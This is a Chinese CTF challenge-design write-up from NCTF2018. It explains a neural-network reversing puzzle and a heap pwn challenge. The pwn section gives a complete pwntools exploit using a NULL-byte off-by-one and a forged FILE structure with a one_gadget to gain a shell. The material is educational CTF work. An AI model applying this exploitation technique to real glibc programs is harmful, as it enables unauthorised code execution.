NCTF2018 NaiveNetwork & HouseOfAcdxvfsvd 出题思路

本文所述的题目源码已经开放到https://github.com/NJUPT-coding-gay/NCTF2018

NaiveNetwork

最近出题人不知道吃错了什么药,开始研究起了神经网络,于是就有了这道题。

关于神经网络的基本介绍和实现,可以参见这篇文章 BP神经网络及其C语言实现:https://zhuanlan.zhihu.com/p/27110594

出题人用C语言手撸了一个简单的BP神经网络,有两个输入和一个输出,一层隐藏层,隐藏层有50个神经元,激活函数都是sigmoid。为了让做题人黑盒分析出来(x),使用的训练样本是满足f(x, y) = (x + 2 * y) / 3的,10000组样本训练10000次,获得超过99%的准确率与1e-6以下的累积误差。

当然,一个这么简单的网络肯定是不够大师傅们玩的,所以辣鸡出题人又在后面增加了一层check。既然都是浮点数,那么就往几何上面靠。check的步骤如下:

  • 将34个输出两两配对,变成平面上的17个点的坐标
  • 检查第一个点是否是某一个定点
  • 检查这17个点是不是圆心为(0.5, 0.5),半径为0.25的圆上的17个两两等距离的点

这种初中几何难度的check,估计大师傅们还是秒,所以出题人让这个check模糊了起来:

  • 先选取第一点A和第二点B,用余弦定理计算角AOB的余弦
  • 随机选取点集中一个异于A、B的点C,用余弦定理计算角ACB的余弦
  • 用二倍角公式检查角AOB是否为角ACB的两倍
  • 选取连续的两个点A[i]和A[(i+1)%17],再随机选一点X,计算角A[i]XA[i+1]是否等于之前角ACB的余弦,对所有的i=0到16进行此check
  • 为了防止偶然现象,进行10000次check。由于神经网络误差和浮点数误差,判断标准为准确率超过99.3%即为通过。Flag生成只使用输入的小数点后两位,保证在通过验证的情况下不存在多个Flag。

逆向起来的思路大概就是这样:

  • 首先要能看出这个check检查的是圆上17个均匀的点(x,并且第一个点是一个定点
  • 用matlab mathematica或者手算(喵喵喵?)等方法可以写出这些点的坐标:
{
    {0.747193, 0.53736}, 
    {0.717005, 0.624133}, 
    {0.657509, 0.694142}, 
    {0.57674, 0.73793}, 
    {0.485608, 0.749585}, 
    {0.396419, 0.727532}, 
    {0.32122, 0.67475}, 
    {0.270165, 0.598367}, 
    {0.250151, 0.508698}, 
    {0.263881, 0.417855}, 
    {0.3095, 0.338106}, 
    {0.380847, 0.280222}, 
    {0.468286, 0.25202}, 
    {0.560008, 0.257309}, 
    {0.643626, 0.295375}, 
    {0.707847, 0.361076}, 
    {0.743996, 0.44554}
}
  • 不过有一个问题,不确定这些点应该顺时针排还是逆时针排。暂且都保留。
  • 分析神经网络,利用hook等方法获得一些输入输出对,画出一个图像,可以显然(x)看出,分布在一个平面上,拟合出平面的方程为x + 2y - 3z == 0.
  • 提取输入到输出的变换规则,可以得到方程组
seq_a[] = [5, 30, 32, 24, 13, 33, 29, 19, 9, 20, 10, 14, 6, 12, 18, 11, 0, 26, 21, 3, 2, 4, 22, 25, 8, 16, 23, 27, 17, 7, 1, 15, 31, 28]
seq_b[] = [22, 7, 13, 15, 29, 28, 30, 32, 12, 33, 27, 25, 9, 23, 5, 11, 6, 21, 24, 0, 19, 16, 10, 17, 14, 18, 31, 26, 20, 8, 3, 4, 1, 2]
for i in xrange(34):
    input[seq_a[i]] + 2 * input[seq_b[i]] == 3 * output[i]
  • 用z3 matlab或者手解(喵喵喵喵喵?)等方法解出方程组的解,不难发现只有逆时针的时候能解得一组全为0到1之间的解。

// ps: 为了凑这个方程组,出题人采用了传说中的猴子算法,每次随机打乱两个顺序数组,不停地解一下方程,直到都在0-1之间为止。实践证明这个算法还是挺靠谱的= =

最后拿到输入组

0.316222
0.881297
0.309929
0.621122
0.084098
0.332510
0.217116
0.545128
0.170498
0.373272
0.094003
0.598367
0.541776
0.599381
0.617180
0.915032
0.465110
0.028979
0.145475
0.309285
0.950950
0.706972
0.954535
0.741237
0.042336
0.782708
0.112150
0.547627
0.716762
0.686573
0.521824
0.469393
0.952252
0.648903

输入即可拿到Flag。

House of acdxvfsvd

这道题的出题灵感来自于某一次课程设计的时候写了个bug,基本也没怎么分配堆,就开了几个文件,一通操作之后堆炸了,后来学了pwn才知道,fopen分配 FILE结构体的时候会分配在堆上。

这个题设计的攻击思路是NULL-byte off by one + FSOP

程序设计了三种堆块的分配,大小分别为 0x208,0x608,0x408。同时限制了三种分配和释放的次数, 0x208能分配两块,任意次数,其他的只能分配一次,且只有一块。最后退出的时候,可以分配一个 0x808的堆块,写入完之后直接exit。漏洞在 read函数中,如果读入的数量刚好等于参数所给的数量的话,会在最后多补一个零,造成 Nullbyteoffbyone.

由于限制比较严,这个题目的攻击方法应该比较窄,基本思路如下:

malloc(homura)
malloc(cossack)
malloc(mozhucy)
free(cossack)
free(homura)
malloc(homura)
overflow cossack
malloc(homura)
read_file == malloc(io_file)
free(homura)
free(mozhucy)
malloc(comment)

泄露地址可以通过对homura堆块的反复分配与释放来获得。

在完成堆利用链之后,我们可以完全控制文件结构体所在块的内容,于是可以按照 fsop的思路,写一个假的虚表,在 io overflow字段放上 one gadget,然后将 FILE结构体覆写为我们伪造的 FILE结构体,最后调用 exit触发 one gadget

最后附上题目中出现的Homura所写的exp:

from pwn import *
p=process('./houseofacd',env={'LD_PRELOAD':'./libc-2.23.so'})
def addhomura(data):
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delehomura():
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('2')
def addcoss(data):
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delecoss():
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('2')
def addmo(data):
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delemo():
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('2')
def readfile():
    p.recvuntil('choice')
    p.sendline('4')
    p.sendline('aaaa')
addhomura('aaa\n')#1
addcoss('aaa\n')
addmo('aaa\n')
delecoss()
delehomura()#0
addhomura('a'*0x208)
addhomura('\n')#2
readfile()
delehomura()#1
delemo()
delehomura()#0
addhomura('\n')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice:\n')
p.sendline('3')
heap = u64(p.recv(6).ljust(8,'\x00'))
info(hex(heap))
delehomura()#0
addhomura('aaaaaaaa\n')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('a'*8)
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_addr = addr - (0x00007fca72624b78-0x7fca72260000)
one = libc_addr + 0xf1147
info(hex(libc_addr))
table = p64(0)*2+p64(one)*19
fake = p64(libc_addr +(0x00007f59fbad2488-0x7f59a4135000))
fake+= 3*p64(0)
fake+=p64(heap)
fake+=p64(heap+0x10)
fake+=p64(0)*7
fake+= p64(libc_addr +(0x00007f59a44fa540 - 0x7f59a4135000))
fake +=p64(3)
fake +=2*p64(0)
fake +=p64(heap - 0x140)
fake +=p64(0xffffffffffffffff)
fake +=p64(0)
fake +=p64(heap - 0x130)
fake +=p64(0)*4
fake += p64(0x00000000ffffffff) 
fake += p64(0)
fake +=p64(heap -0x430)
delehomura()#0
addhomura(table+'\n')#1
addhomura(fake+'\n')#2
p.sendline('5')
p.sendline('a')
p.interactive()

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏g歌德a

C程序设计(第四版)课后习题完整版 谭浩强编著

答:程序就是一组计算机能识别和执行的指令。 程序设计是指从确定任务到得到结果,写出文档的全过程。(一般经历6个阶段:①问题分析;②设计算法;③编写程序;④对源程...

29210
来自专栏科技分享

Linux内存分配小结--malloc、brk、mmap【转】

转自:https://blog.csdn.net/gfgdsg/article/details/42709943

35320
来自专栏科技分享

Hash算法

  Hash,一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该...

8520
来自专栏分享/效率/工具/软件

shell入门系列(8)for

title: shell入门系列(8)for date: 2019-01-16 10:00:00 +0800 update: 2019-01-16 10:0...

7630
来自专栏Python无止境

Python 的整数与 Numpy 的数据溢出

看了图,我第一感觉就是数据溢出了。数据超出能表示的最大值,就会出现奇奇怪怪的结果。

16830
来自专栏泰斗贤若如

学编程的起点——高级语言大锅烩

学知识前总想说点鸡汤,想喝的朋友就看看,不想喝的就直接看干货吧,就当鸡汤是给我自己喝的。

21040
来自专栏数据小魔方

一个R语言中操纵矢量空间数据的标准化工具—sf

摘要 Simple features是一种在计算机中编码矢量空间数据(点、线、面等)的标准化方法。sf包在R语言中引入了simple features对象,它基...

27840
来自专栏科技分享

DES和3DES加密算法C语言实现【转】

转自:https://blog.csdn.net/leumber/article/details/78043675

25920
来自专栏前端重点笔记

JS中的async/await的执行顺序详解

虽然大家知道async/await,但是很多人对这个方法中内部怎么执行的还不是很了解,本文是我看了一遍技术博客理解 JavaScript 的 async/awa...

11540
来自专栏耕耘实录

学生时代所学的一些 C 语言知识点回顾(3)——再议指针的声明与使用

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

8310

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励